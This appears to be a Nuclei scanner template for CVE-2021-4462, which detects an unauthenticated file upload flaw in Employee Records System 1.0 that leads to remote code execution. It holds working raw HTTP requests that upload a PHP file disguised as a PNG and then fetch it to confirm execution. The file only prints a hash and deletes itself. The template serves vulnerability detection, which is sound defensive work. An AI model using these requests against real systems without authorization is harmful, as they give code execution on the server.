Description
Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
id: CVE-2021-4462
info:
name: Employee Records System 1.0 - Unauthenticated File Upload RCE
author: josephttd
severity: critical
description: |
Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
impact: |
Unauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise.
remediation: |
Apply security patches or upgrade to a later version of Employee Records System.
reference:
- https://www.exploit-db.com/exploits/49596
- https://www.sourcecodester.com/php/11393/employee-records-system.html
classification:
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cwe-id: CWE-434
epss-score: 0.0319
epss-percentile: 0.8745
metadata:
verified: true
max-request: 2
tags: cve,cve2021,employee-records,fileupload,rce,intrusive,vkev,vuln
variables:
string: "CVE-2021-4462"
filename: "{{to_lower(rand_base(5))}}.php"
http:
- raw:
- |
POST /dashboard/uploadID.php HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="employee_ID"; filename="{{filename}}"
Content-Type: image/png
<?php echo md5("{{string}}");unlink(__FILE__); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
- |
GET /uploads/employees_ids/{{upload_filename}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: upload_filename
part: body
internal: true
group: 1
regex:
- '"upload_filename":"([^"]+)"'
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "{{md5(string)}}")'
condition: and
# digest: 4a0a0047304502202665158e4073d420545d85464978e545efd591c7ce02abb97a3f0968a634a6a6022100c8e901f65bf6432353bb223efd864782b151f4eae8b4e2e479f5308fd0697e70:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.